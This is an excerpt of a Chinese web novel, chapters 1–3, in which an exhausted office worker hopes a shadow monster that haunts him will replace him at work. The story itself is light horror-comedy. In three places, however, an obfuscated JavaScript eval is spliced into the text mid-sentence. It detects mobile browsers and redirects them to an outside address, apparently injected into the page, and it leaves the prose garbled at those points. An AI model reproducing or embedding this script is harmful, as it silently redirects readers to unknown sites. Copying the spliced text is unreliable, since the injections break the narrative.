《取代我,让我躺》 1. 第一章 晋江文学城欢迎您 文/醉狸贪月 周日的早晨,入睡不足五个小时的青年被闹钟叫醒,在困顿中摸向床头,按掉闹钟,然后唤醒语音助手。 “小白,打开窗帘。” 连接家庭网络的智能窗帘收到指令,缓缓拉开,烈焰般的朝阳顿时照在青年的身上,让他发出吸血鬼灰飞烟灭般的惨叫。 “啊啊啊!!” 感谢飞速发展的高科技,强光照射让越时成功克服了身体本能,成功地爬出了被窝。 他耷拉着眼皮,拖着丧尸般的步伐缓缓走进卫生间,镜子映出他惨白的脸色、浓厚的黑眼圈,以及眼球上鲜红的血丝。 这本该是一个难得能有片刻喘息的休息日,却因为领导的一时兴起,被迫早起,准备参加上午的视频会议。 困到了极致连哈欠都打不出,只剩下眼皮沉重无比,越时打开一个昨晚收藏的视频三倍速播放,用两个黑色发卡把乱翘的刘海别起,开始洗漱。 视频来自他关注的灵异播主,天生开朗的声线充满了自媒体职业者不用通勤上班的特有朝气,无论是内容还是氛围都很适合拿来晨间醒神。 “哈喽观众朋友们!欢迎收看本期节目,今天的投稿来自于我们的铁杆粉丝皮皮特,讲述了他遭遇了都市传说的经历……” “……相信很多观众朋友们都听说过这个都市传说,传说中的怪物也早已有了个独特的名字——影先生。” “皮皮特遇到影先生的时候喝醉了酒,正在等代驾,问了旁边的朋友,说这大冷天的下着雨,怎么还有人不打伞也不躲雨啊,结果朋友的反应吓了他一大跳。” “啊?那边没有人啊?只有个广告牌,你看错了吧?” 越时一边听着视频的声音,一边低头刷牙,时不时看一眼视频的字幕,在生动的故事讲述中恢复清醒。 他低头擦干净脸上的水,重新抬头时,镜中的后方多出了一个模糊的人影。 那影子通体漆黑无比,如同缠绕着一层浓厚的黑雾,将一切真实掩盖,眼眶的位置两个苍白的空洞如同骷髅般定定注视着他。 漆黑的、长着无数触手的黑影,空无一物的苍白双眼,怎么看都和视频里正在讲述的都市传说一模一样。 越时手一抖,毛巾掉在了水池边,心脏砰砰直跳。 这个黑影从三天前开始就跟着他了,一开始还只是远远站着,随着时间推移会一点点缩短和他之间的距离,没想到今天就直接进到他家里来了。 这个世界是存在鬼怪的。 对于现今的大众来说,这已经不是什么秘密。 官方对此的态度,似乎是不宣扬、不封禁、不回应,只做危机处理,像是对待意外事故那样。 但知道归知道,不是每个人都有机会亲眼目睹,民间的传闻非常有限,幸运的人一辈子都不会碰到几次,所以越时注意到黑影后,第一反应也不是自己疯了,而是在网上查询对方是哪一种怪物。 不出意外的话,现在站在他身后的这个东西,应该和故事里的‘影先生’是同类。 原本他也是有这样的猜测,才故意挑选这系列故事来听的,也好有个心理准备。 如果不是此刻‘影先生’就站在他身后的话,他应该会挺高兴的,因为他没有女友也没车,过着两点一线的生活,‘影先生’就算想要冒充他,也只能替他加班。 他一动不动地站在原地,连下巴的水渍都忘了擦,甚至没有将目光从黑影身上挪开,一点点调整呼吸,恢复冷静。 “……从此以后,影先生就缠上了皮皮特,他走到哪里,黑影就阴魂不散地跟到哪里,偏偏谁都不相信他说的话,因为无论他如何努力,都只有自己能看到影先生,就连心理医生都怀疑他是出现了幻觉。” “三天后,黑影的模样变了。” “影先生竟然变成了皮皮特的模样,正要开着他的车回家!” “他顿时吓出一身冷汗!因为他的女友还在车子后座睡觉等他!!他连忙拿起电话下意识就要打给女友……” 故事讲到这里,一片护体弹幕飘了过去,有被吓坏了的,有祈祷脏东西别找上自己的,也有心疼女友的,还有嫌弃这个桥段太俗套,看过太多遍了的。 越时却已经开始走神。 这算无证驾驶吧……? 没想到被‘影先生’缠上还会有这样的风险。 幸好他工作了几年存款一直很少,根本买不起车,哈哈。 “……真是太可怜了!” “明明已经和女友订婚,眼看着事业生活双丰收,却被怪物顶替身份、眼睁睁看着对方夺走自己的一切,皮皮特先生顿时一阵绝望,难道自己真的要就此认输吗,好不容易奋斗到奔三的年纪才有了如今的生活……” 狭小的卫生间里,满格电的手机继续播放着视频,慷慨激昂的声线不断传出,虽然只是寻常的话语,却如同利剑一下下刺痛了越时的心。 ‘才’?什么叫到奔三的年纪‘才’有了这些??? 啊?难道这个世界的同龄人都过着这样的生活吗??难道这样的人生赢家才是理所应当的常态吗?? 奔三的年纪怎么了?!PPT先生可是有车有房有存款、父母朋友恋人都爱他的梦幻人生赢家……他不应该烧高香才对吗?!!为什么用一副理所当然的语气说着让人去死的话啊! 越时低垂着头,双臂撑着洗手池边缘,试图平息自己有点应激的起床气。 可恶,本来只想看视频提提神的,但是好像不小心清醒过头了,感觉马上要看破红尘了! 与此同时,一道阴森的黑色触手如长蛇般缓缓抬起,朝着越时一点点靠近。 皮肤上阴冷光滑的触感让他汗毛倒竖,想立刻逃走的心达到了顶峰。 但是……不行。越时浑身僵硬,一动不动站在原地,拼命忍耐着。 混迹职场多年的经验让他的表情管理早已锻炼得炉火纯青,虽然已经紧张到想呕吐了,但脸上还是一片云淡风轻,配合着黑影的一切行动。 来吧。 我已经准备好了…… 变成我的样子,取代我,然后替我开完那该死的周日上午的视频会议吧!!! 越时维持着垂头的姿势,面无表情地期待着美好的明天。 虽然怪物很可怕,但是作为社畜活着更可怕!他已经做好觉悟了,绝对配合影先生的一切行动,好让他早日取代自己。 他穿着黑色塑胶拖鞋,居家服白色短裤与背心,大片暴露在外的皮肤因湿冷的触感而激起一片鸡皮疙瘩,但他忍住了没有动。 他有耐心,触手也很不慌不忙,从脚踝向上,又来到了他的膝盖,然后是大腿。 有点痒,但可以忍受。 短暂的几秒停顿后,触手探入他的衣摆,自腰上缠绕一圈后,又顺着袖口冒头,将他的手臂也束缚住。 被黑影般的怪物这样捆绑,换了任何人都会受到巨大惊吓,哪怕是早有心理准备的越时也不例外。 他知道,影先生想要取代人类,首先要观察、学习,要收集到人类足够多的信息,才能模仿得十分相似。 而在这个过程里,人类遭受一些惊吓,变得虚弱,也是无法避免的必要过程。 他闭了闭眼,确实快要站不住了,便任由触手拽着自己,然后……站直了。 越时:? 这触手什么意思?在他身上爬来爬去的,就是为了让他站直?? 他满头问号看向镜子,这才发现背后还抬起了一条更粗的触手,正直直‘站’在他的身后,正好与他的头顶齐平。 就像是……传说中的宠物巨蟒故意躺在主人的身侧,测量自己现在的长度能否将人完整地吞下。 但影先生不是巨蟒,触手也不是长蛇,唯一的可能性,就只是测量身高,方便以后变成他的身形、更好的取代他吧。 越时巴不得他测量得更精准点,甚至配合得站得更直挺了一些。 然而测了半天,期待中的大变活人都没有发声,越是等了半天,黑影都依然维持着那逼近天花板的身高。 啊!废物! 怎么我想摆烂你也要吗!外貌还没模仿到位呢先学走了厌倦上班的咸鱼精髓是吧! 越时恨铁不成钢地瞥了眼还睁着一双大白眼睛的黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496749|202550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影,愠怒之下恢复了不少力气,直接拿起手机走出了卫生间。 缠在他身上的触手们并未抓着不放,反而被他轻易挣开,越时一下子更不满了。 照这个速度,影先生要猴年马月才能好好取代他,替他去上班啊? 越时着急,但越时不说。 他一路来到卧室,拿了件白衬衫穿上。 扣好扣子的瞬间,黏糊糊的黑影又趴在了他的身上,还很不客气地把下巴搭在人他的头顶。 被挑衅的不爽让他瞬间忘了害怕——你长得高了不起啊! 不过…… 看着仿佛小尾巴一样跟进跟出的影先生,越时若有所思。 等会儿就要开会了,其它人一直是看不到影先生的,就算是带着一起开会,应该也没事吧?正好做个如何开远程会议的示范了,方便影先生好好学习。 到了时间,越时在沙发坐好,上身是一丝不苟的衬衫,扣子扣到锁骨之上,发丝服帖,下身是拖鞋和短裤,大咧咧坐在沙发上放松,屏幕摄像头的视野范围之外,一罐装在咖啡杯里冒充咖啡的冰可乐正冒着清爽的气泡。 标准的居家办公社畜装备。 会议开始,那老鸭子般难听的声线从笔记本传出,让越时几乎条件反射地开始皱眉。 不知道是不是上班太久了,他已经分不清是领导的声音太难听所以讨厌领导,还是因为他太讨厌领导才讨厌这种声线。 也许是这个领导太喜欢在开会的时候叫他说话了吧。 果然,这个念头冒出的瞬间,领导就让他开麦并打开摄像头了。 然而此刻的越时虽然端坐着,身上却缠上了几条触手,让他的衣服凌乱、坐姿也很奇怪。 他不太想在镜头前失态,一边开口找借口推脱,一边试图扯掉身上的触手, “领导,我今天其实有点不舒服,所以嗓子有点哑……” “诶,大家都瞧瞧!看看人家越时的态度,带病却仍然坚持开会,这才是值得我们大家学习的精神!!” 眼见着越时想要请假逃避开会,领导却突然高声打断了他的话,直接夸奖了起来,还让其他人都和他学习。 越时无声冷笑,领导还是这么善于恶心人。 怒气值上升,他手上的力道也重了几分,终于把肩膀的触手拽下来了。 然而动作之间,不知是触手还是他,竟然碰到了放在沙发的窗帘遥控器。 随着轨道运行,窗帘一点点打开,上午九点本该有的明媚阳光却没有照进来,取而代之的,是一个个形似大型老鼠,长着胡须和尾巴,却拥有人头人手的鬼怪,正在玻璃上窸窸窣窣的爬行。 越时早就知道外面是这样,所以从入住开始就从未拉开过窗帘,因为这些东西是赶不走的。 当然,也是拜这些鬼怪所赐,这房子很便宜,租金只有市价的六成。 这些东西看着吓人,但不开窗户就进不来,他就一直无视着,也没在公司里提过。 他无意用这个吓唬人,但耐不住领导非要往前凑,不是想看吗?那就看个够吧。 越时直接打开了前置摄像头,让身后的可怖画面不遮不挡地暴露在镜头前,他自己则低头到一侧咳嗽了几声,让镜头聚焦得更好, “咳咳……” 越时的脸本就苍白没有血色,下颌线都瘦的更加明显了,随着低头咳嗽的颤动,镜片自鼻梁向下微微滑落,露出了清晰的眉眼。 越时的样貌底子不差,也很上镜,此刻却没有多少人在看他。 领导紧张的声音传来,“你、你……你后面……” 越时装作不知,“怎么了?” 果然,吓人的事,还是得交给普通的鬼怪来。 之前影先生跟踪了他三天,神出鬼没的很是吓人,偏偏其他人都看不到影先生,只有他会被吓到,差点被当成精神病,没少被公司的人嘲讽。 但窗外这些东西就不一样了,低级、丑陋,高清。 果不其然,领导忽然大叫一声,连人带椅子向后跌坐而去,直接摔出了画面。 越时:“……” 倒也不至于反应这么大吧? 2. 第二章 越时确实不介意吓唬吓唬领导,但他也只是太累太烦了,想让领导放过他,别老让他陪聊说废话了。 只是没想到吓人的效果如此拔群,他还什么都没说呢,领导就已经吓得屁滚尿流了。 越时正想让他冷静点,别喊了,却忽然看到了屏幕上的反光。 等等,光? 他微微愣住,抬头看向客厅。 明媚灿烂的阳光正一点点铺满整个房间,轻而易举驱散了经久不散的阴霾。 是阳光照进来了。 他缓缓回头看去,只见身后的窗户竟然不知何时被打开了。 一条条触手从窄小的窗口伸了出去,如美杜莎的长发般绽开一朵怪异的花。 刹那间,整个小区内的全部电器同时开启,无数灯泡瞬间将亮度提高到极限,然后纷纷炸裂破碎,窗外停车场传来此起彼伏的警报声嗡嗡作响,就连方圆几里内的全部红绿灯都同步失控,一个个路口因此陷入瘫痪。 似是被这样的异响惊吓,天空中刚好经过的鸟群与飞虫们也突然失去行动能力、像下雨般纷纷坠落。 越时下意识看向电脑——这可是他自己的笔记本,果然,电脑里的画面也开始闪烁雪花,不断跳动,领导丑恶的面孔在上面不断扭曲着,时而变成三只巨大的眼球,时而整个头颅都跟着变形化为怪物,下一帧又跳回原样。 怎么回事?! 越时连忙其实去拉电闸,然而还没等他走到电表箱,窗外就传来了一阵此起彼伏的骨头碎裂声。 咔嚓、咔嚓咔嚓…… 窗外的景象也犹如掉帧了一般,方才还趴满窗户的人脸怪物,眨眼间便消失不见了,只剩下退回窗内的触手们,仿佛吞吃了什么东西,鼓起一个个大包。 不过是几秒的时间,全部电器和信号失控的异状便消失了,只剩下地上的灯泡碎片提醒着发生过的一切。 无声中,影先生的触手们已经退回屋内,还不忘把窗户重新关闭锁好。 那些触手变得鼓鼓囊囊的,像是吃饱了的蟒蛇,懒懒的耷拉在地上,一点点蠕动、变形。 肢体撕裂、骨头粉碎,血肉被咀嚼的微弱声响传入越时的耳中,听着便令人汗毛倒竖。 吃掉了……? 竟然……把那种可怕的鬼怪吃掉了…… 一种毛骨悚然的感觉爬上越时的全身,让他下意识屏住了呼吸。 他一边震撼着,惊讶于自己竟然还能透过这扇窗户看到阳光,一边本能地想要逃离,怕这个‘影先生’吃不饱后,下一个就想尝尝人类的味道。 不……不会的吧,那可是‘影先生’,目标是取代他而不是吃掉他才对。 越时在心中安抚自己,并缓缓地深吸一口气,回头看向还在连线开会的笔记本。 因为信号紊乱、电脑也卡顿着,屏幕的画面还迟迟定格在最恐怖的一帧,无数人脸怪物扭曲狰狞着被无形的东西撕碎。 影先生比较特殊,没有被摄像头拍进去,但那些原本就恐怖的怪物们却一个不漏,直接通过视频会议来了个线上鬼怪杀戮直播,吓得好多同事都狂给越时发消息,让他快关闭摄像头。 领导更是直接被这一幕吓瘫了,只见他整个人缩在画面一角,靠墙瘫坐着,一句话都说不出地死死盯着镜头的方向,双眼圆睁,浑身颤抖不已。 他像是连站起来回到桌前操作电脑的力气都没了,自喉咙里发出破碎风箱般的吸气声,仿佛随时都要犯心脏病。 越时蹙眉,怎么反应这么大? 他这个在现场的人还没怎样呢,就算怪物吃人,也不会隔着网线爬过去吃啊? “领导?” 然而,不等越时说什么,便听到领导如梦初醒般再次大叫起来,并连滚带爬地冲出画面,在一阵丁零当啷的撞击声中,视频画面一阵抖动扭曲,归于黑屏。 随着领导的账号离线,视频会议也中止于此。 画面黑屏的一瞬间,越时透过屏幕的反射看到了自己的脸。 憔悴、僵硬、疲态的,仿佛是另一只在人间游荡的鬼怪,已经快没人样了。 他默默合上笔记本,不想再看,也不想再理会工作的消息,祈祷着领导在24小时内不要恢复冷静,干脆让他休息到底。 劳累太久的身体沉重,肩背都很酸痛,越时直接倒向沙发,却感觉身下的触感不太对。 低头一看,他竟然压在了一条条的深黑触手上。 越时:“……” 啊啊啊!! 他在内心无声尖叫,连忙起身要躲开,却被又一条触手拦腰抓了回来,将他死死按在了沙发上。 越来越多的触手缠绕而上,钻进衣服,弄乱头发,挤掉眼镜,堵住声音,冰凉、滑腻,让他几乎控制不住想要尖叫。 然而嘴巴刚一张开,就有一根触手突然靠近,意识到它想要钻进嘴里,越时立刻牙关紧闭,双手捂住口鼻。 干什么啊……!! 影先生的力气太大,触手又多,越时怎么也挣扎不过,被狠狠压制了几次后就力竭了。 他差点迟到长跑赶路的时候都没这么累! 混蛋!有本事活吃了我啊!反正我也不想上班了!!! 越时直接摆烂,然而触手却没有吃掉他,也没有伤害他,只是不停地在他身上蹭来蹭去,仿佛在找什么东西。 他顿时起了一身的鸡皮疙瘩,惊悚的刺激之下,身体的触觉变得更加敏锐,腰背与大腿都炸了毛。 可恶!不要碰他痒痒肉啊! 身体一个激灵,无法控制的痒痒让越时再度挣扎起来,一边捂着嘴一边颤抖得闷笑出声,然而他越是反应激烈,那些触手越是变本加厉。 不过一分钟的时间,越时就已经气喘吁吁,几乎要憋笑到内伤,呜呜呜地求饶起来。 可非人的怪物哪里懂得什么是求饶,它只是本能地探索者人类的生理反应,直到越时实在忍受不了,痒得笑出了眼泪。 触及那温热、湿润液体的瞬间,所有触手都齐刷刷震了一下,像是发现了什么宝藏。 如果触手身上有毛的话,恐怕都会在此刻变得更加蓬松,越时也察觉了它们的变化,正要警惕,却感觉眼角被轻柔地抚过,擦去了他的眼泪。 什么……? 他的侧腰死穴还有脚底板依然被反复触碰着,越时几乎难以思考眼前发生的一切,也终于没力气捂住嘴巴了,大口喘着气发出哈哈大笑的声音,也因此流出了更多的眼泪,在触手的围攻下活蹦乱跳。 直到他连笑都要笑不出了,眼泪都快流干时,触手们才停止了惨无人道的痒痒肉折磨。 越时低头看去,不明白发生了什么。 缠在他身上的触手们……竟然在争先恐后地……抢夺他的眼泪? 啊?? 等等,什么情况? 越时懵逼地看着,终于看清了,在距离他最近的一根出手的末端,遍布着一道道细而长的裂痕。 裂痕……?不,是伤口? 他眨了眨眼,便见到触手蹭过他的脸颊,被他的眼泪濡湿。 就像是魔法一般,那些小小的伤口在吸收到他的眼泪之后,以肉眼可见的速度愈合了。 他的眼泪,居然对影先生的伤有奇效吗? “多谢款待。” 一道奇异的杂音在耳畔响起,如同某种兽类或是机器低沉的呓语。 “……” “???” 越时缩在一团,瞪大了双眼。 这个影先生原来是会说话的啊!!! “人,我将侵占你的一切……这具躯体、灵魂、还有生命……都将属于我。” 那道声音越说越流畅自然,像是在短短几秒内学会了人类的说话方式,在越时面前缓缓说道, “请务必不要逃离,不要抗拒。” 三天前,祂的意识从混沌中收拢,刚醒来就是记忆残缺、力量严重亏损的状态,身边只有这个很好闻的人类。 人类能看到祂,人类也认识祂,人类为祂找来新鲜的食物,将不甚美味的新鲜食物为祂双手呈上。 直觉和本能告诉祂,眼前的人类是特别的,有能力为祂找回一切,只要抓紧这个人类就好了。 事实也果真如此,仅仅是几滴体`液,就让祂的伤口迅速恢复,让祂的力量恢复得更快了。 星星之火迅速点燃了祂的欲求,也让祂更加坚定了占 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496750|202550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有这个人类的念头。 抓紧他,占有他,直到他永远无法离开。 至于达成这一切的方法,祂已经从刚刚听到的故事中得到了灵感。 夺走他的生活,夺走他的身份,切断他与一切的联系,让他生无可恋,心甘情愿将一切献祭给祂,让他无处可去,永远无法逃离祂的身边。 只要祂想,祂就会得到。 “……” 越时等待这句话已经等了很久了,这意味着他马上就要逃离苦海了,然而到真正亲耳听到的时候,他却有点怀疑眼前这个影先生的专业水平了。 “那、那你打算……怎么开始?” “……?” “你现在这样……是不是不太行啊?” 越时语气温和,尽可能说得委婉一些,“我看你好像连人形都不会变,是不是还没学会啊?这样的话……打卡都成问题吧?” 不快点改变样子的话,怎么替他上班啊! 明天就是周一了! 越时很急。 影先生很迷茫。 虽然记忆是残缺的,但是直觉告诉祂,这是祂自诞生到现在,第一次被人类这么明确直白地表达不满。 祂,被,嫌弃,了。 影先生默默转身离开。 看到他竟然开门出去了,越时一呆,脱口而出,“干什么去了?” 还回来吃饭吗? …… 祂去打卡了。 市区某写字楼楼下,一个模糊的黑影缓缓靠近,进入了旋转门。 无数触手支撑着庞大的身体,让祂丝滑前行,然而这怪异的景象却并未引起其他人的注意,偶尔有视线略过,也不做停留。 当祂路过一面镜子时,其中映照出的并非黑暗的不可名状,而是一个寻常的青年上班族身影。 片刻,祂终于来到公司前台,找到了名为【打卡机】的机器。 看到机器,青年略带担忧嫌弃的话语犹然在耳。 ‘是不是不能打卡啊?’ 祂当然可以。 祂的记忆力比三天前好了很多,如今能清晰回忆起越时是怎么打卡的。 然而下一秒,问题出现。 “滴!指纹识别不通过,打卡失败!” “打卡失败!” “打卡失败!” 最不该出现在周日的声音响起,将躲藏在办公室内的人吓了一跳。 无人的办公室内,昏暗的手机灯光照亮一角,也照亮了一张惊慌猥琐的老脸。 神经病吧,大休息日的打什么卡? 他连忙将手中的诅咒玩偶藏好,迅速离开越时的工位。 玩偶是他通过非法网站私下购买的,据说非常邪性,可以用来诅咒讨厌的人。 如今,玩偶的背部已经被他塞入了纸条,上面写着越时的名字和身份信息,背面写着【当面怒骂领导并泼他一脸水】。 想到明天上班能看到越时的惨状,老陈笑得更阴森了,他早就看越时不顺眼,如今他非要好好教训这小子一番! 虽然公司加班严重,但办公楼对外实行双休制度,公共电路周末都不供电,包括监控也会停运,所以他并不怕被发现。 离开办公室的时候,他也没多想,只是好奇打卡机是不是故障了,朝着那边多看了一眼。 竟然是越时!他怎么会在这里?! 陈伟的第一反应便是心虚,下意识迅速躲闪进了楼梯间,生怕被对方看到。 不,就算是被看到也没什么吧!越时不会发现的,发现了也没有证据! 他在心中安抚了自己许久,再小心翼翼探头出去时,却发现公司前台已经空无一人。 奇怪,人去哪儿了? 前台的唯一出口只有两个,应急通道的楼梯间,和旁边的电梯间,但是想去电梯间是会路过楼梯间门口的,通过虚掩的消防门,不可能完全隔绝脚步声。 陈伟心中疑惑,却没多想,想直接转身离开,下一层的楼再坐电梯离开,却听到身后又传来一道机械音。 “滴!打卡失败!!异常值过高!警告!警告!!” “砰——” 打卡机炸了。 3. 第三章 【打卡机因故障爆炸!今日起改为手机线上打卡!】 公司群的消息一经发布,就引起了众人的欢呼。 越时也不是例外。 打卡机放在公司前台,一旦没赶上早一点的电梯,卡点就可能失败。 但手机线上打卡就不一样了,距离灵活,还不怕被迟钝的面部识别、指纹识别耽误,更不需要排队等前面的同事。 八点五十七分,越时慢悠悠出地铁,走在路上就手机打卡完毕,甚至在楼下买了份简餐,取餐后才拎着上楼。 等到他在工位坐下,已经是九点零五分了。 看着依然完好的全勤,越时露出满意的笑,优雅地拿起咖啡杯,低头品尝。 啊,浓郁的、香醇的……打卡机爆炸后的芬芳。 下一秒,打印机油墨的臭味,淡淡的二手烟混杂三手烟的臭气,还有不知道哪个工位同事散发的鸡蛋臭,停车场带进来的特有皮革混合了汽油的异味,伴随着一股若有若无的风吹了过来,瞬间污染了越时的鼻腔。 他的脸色瞬间恢复社畜特有的萎靡憔悴,耷拉着眼皮和肩膀叹了一口气,胃口全无地低头喝了一大口咖啡,点开了今日的日程安排。 五六个表格,两个会议,周一日报,画图,联络甲方。 和周一格外让人头大的工作内容相比,打卡机被炸带来的快乐如杯水车薪,迅速败给了上班的苦。 短暂的十分钟过去,方才还喜气洋洋的几排工位默契地呈现出高度一致的萎靡不振,名为班味儿的黑暗气息迅速将所有人打回社畜原形,宛如一群被吸干了阳气的干尸。 就在这时,巨大的触手突然从头顶垂落,挡住了越时的全部视线。 眼底即将涣散的光彩顿时得到了救赎,越时几乎是下意识地猛然出手,一把攥住了那两根触手。 是啊,他差点忘了,影先生今天跟着他一起来上班了,只是办公室空间不大,所以一直贴在天花板移动。 他感动地望着曾经给自己带来无数惊吓的触手,越看越喜欢。 带我走吧,快点,就现在!来不及解释了! 不用亲自上班的希望就在眼前,他恨不得影先生立刻圣光普照大发神威,然后把他赶回家去,霸道地命令他,只准宅家,不准上班! “越哥,快醒醒。” 肩膀忽然被拍了拍,是越时的上班搭子路过他的工位, “别做白日梦了,不会有上吊绳从天而降救你于水火的,快起来开会了。” 正抬起两只手做抓握状的越时:“……” 被误会精神状态了。 等等这个姿势好像确实和上吊一样,也不能怪搭子。 越时“噢”了一声,面无表情松开触手,低头拉开抽屉找蓝牙鼠标……好大一个触手! 触手翻他抽屉干什么! 他额头冒出青筋,一下子抓住触手往外拽,却看到末端鼓鼓的,似乎吞了什么东西在嚼嚼嚼。 越时:“……” 脑海中忽然出现了昨天影先生吃掉窗外怪物的模样,顿时一阵反胃。 罢了,不干不净吃了没病。 他松开触手,当没看见一样合上抽屉,直接拿着工作本起身去开会。 会议室就在员工的办公区旁边。 员工们稀稀拉拉拖着脚步如丧尸状前行,沉闷的空气缓缓蔓延,无人察觉到有一个非人的鬼怪也混入了其中。 除了越时。 他能看到天花板上一片黑压压的触手在跟着他前行,逐渐靠近会议室,却目不斜视地不做理会。 直到他的胃突然疼了起来,让他脸色变得苍白,步伐放缓。 啊,糟糕……偏偏在这种时候,肚子忽然疼起来了。 常年坐办公室加班的人,很少有人肠胃健康,越时也不例外。 他不知道是今天的这一口咖啡空腹喝了太多,还是因为昨天压根没好好吃饭休息,总之疼痛来得太快,让他快要走不动了。 好想回家啊! 什么破晨会要他亲自来开啊!就不能当他死了吗! 一想到还要开会,开完会距离下班还有一整天的时间,越时就烦躁不已,恨不得直接穿越到晚上。 就在他疼得冷汗直冒,反胃恶心时,几条触手贴上了他的身体,如同一个柔软的拥抱般将他环绕其中。 越时脑袋微微眩晕,紧接着一阵耳鸣,一道模糊的呓语直接传入了脑海,在他的脑内嗡嗡震颤。 那道声线不断变幻着,蛊惑着,犹如察觉到人类弱点并进行引诱的恶魔,用嘈杂混乱的语言不断劝说着什么。 但越时实在耳鸣得厉害,迷迷糊糊间,完全没听清那些声音在讲什么。 直到他揉了揉眼睛,重新抬头看去,猛地愣住。 刚开机没多久的电脑屏幕之上,目光所及之处的所有文字都变成了同样的话语。 【放弃吧。】 【放弃吧放弃吧放弃吧……】 文件的名字,表格里的字样,对话框窗口里密密麻麻的所有字,全都变成了这些,犹如催眠般铺天盖地地涌来。 原来如此,是影先生做的啊。 越时缓缓呼出一口气,双眸逐渐溢满了水汽,微微泛红。 下一秒,他毫无挣扎地放松身体,感动到哽咽,“好。” 无所谓,只要有任何声音劝他摆烂,他就会立刻停止努力。 “……?” 还准备了很多蛊惑台词的影先生突然卡壳,似乎是没想到自己的猎物会如此迅速地投降。 越时已经安详地闭上了双眼,毫无抵抗地接受了这份‘恶魔的引诱’, “没错,人生就是虚无的。” 然后抬头,“你替我开会去吧。” 他昨天又看了一些有关取代者的都市传说,里面确实提到过,有些聪明的取代者会主动引诱人类堕落,用各种手段瓦解人类的意志力,以便更快、更轻松地取代他的全部。 越时等待这一刻已经等了太久了。 短暂的寂静中,那些缠绕着他的触手们将他缓缓松开了,影先生的身躯从天花板落下,站在他的工位前。 刹那间,周遭的气氛忽然变了。 就像是时间停止流动,空气也瞬间凝固,微妙的磁场改变让越时浑身的汗毛竖起,身体也不受控制地失去了力气。 一切的发生似乎和越时想象中不太一样,但他早已错过反抗的时机,头脑混沌着,无法思考地看着影先生缓缓朝自己靠近,然后在他的嘴唇轻贴。 就像是一个吻,碰触到来的瞬间,不存于世间的芬芳气息灌入口鼻,让他的灵魂都仿佛变得轻盈。 等越时回过神来时,影先生浑身的触手都已经尽数收起,成为了一个人形鬼影的模样。 越时愣愣地望着他,过了几秒才猛然回神:影先生终于要变成人替他上班了!!! 虽然能不能顺利冒充还不好说,但是好的开始就是成功的一半! 然而,在他热切的目光注视下,影先生却只是停留在黑色的鬼影,没有继续变化,转身朝着会议室走去。 诶等等?!你还没变完呢! 越时连忙站起来,快走两步要阻拦,还来不及说什么,就看到一个同事正好路过两人身边。 越时深吸一口气,顿时紧张。 要、要被发现了吗?果然太大意了吗?! 然而,同事却只是朝着影先生淡淡看了一眼,便继续走进了会议室,反而对动作步伐都很夸张的越时本人视而不见。 咦? 越时一愣,难道其实已经成功了? 他忽然想到了什么,便打开手机摄像头检查。 昨天开会时,手机镜头还无法捕捉到影先生的身影,其它人也是看不到影先生的。 有了这个先例,越时怀疑点子镜头能在一定程度上反应其它人的视角。 果然,在把镜头对准影先生后,画面里呈现的不是什么鬼影,而是另一个‘越时’。 越时瞪大眼睛,看看手机屏幕,又看看影先生,惊讶地发现画面与他看到的鬼影并不相同。 成、成功了? 好耶!!! 越时惊喜不已,就连胃疼都好像没那么严重了,正要收起手机,忽然又想起自己刚才被同事无视了,便又切到自拍模式,照了照自己。 哇哦。 他变成透明人了! 手机前置镜头里,只有略显杂乱的工位,以及办公区域的墙壁,唯独没有他自己的身影。 这种陌生的感受让越时很是新奇,收起手机后又低头看了看,从自己的视角来看,一切倒是没什么变化,只有他脚下的影子有点淡淡的,几乎看不到了。 越时原地跳了跳,又尝试着朝会议室里的主管竖中指,果然没有被发现。 好爽,再竖一下。 凸^凸! 越时激动不已,但很快又搓了搓脸,觉得自己不能高兴太早。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496751|202550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >新来的员工还有实习期呢,更何况毫无工作经验也没有做人经验的怪物呢,为了长远地一直爽下去,他得盯着点儿以防翻车。 他默默加快脚步,跟在影先生身后。 影先生感觉到越时偷偷跟着,猛地在门口停了下来将人挡住,背脊处伸出好几根触手将人团团缠住。 他的头颅向后扭转180度,死死“盯着”越时,不似人类的声线低沉开口, “你……想反悔……?” 越时眨了眨眼,下意识想否认解释,开口的瞬间又突然反应过来——他解释这个干嘛? 越时灵机一动,突然想到了让影先生乖乖听话、认真替他开会的好方法,他连忙装作无害可怜的模样, “啊?不……不要啊……我不要变成透明人啊……不要替我开会啊,可不可以把我的工作还给我……求你了,千万不要按照笔记本里的文件替我汇报上周工作和本周工作安排……呜。” “……” 影先生陷入短暂的沉默,似乎是感觉哪里有点怪怪的,但是没有证据, “太迟了。” 于是触手又放开了他,放任越时跟进会议室,让残酷的事实教会人什么是真正的放弃。 认知屏障早已悄悄展开,发生在门口的动静并未引起任何人的关注。 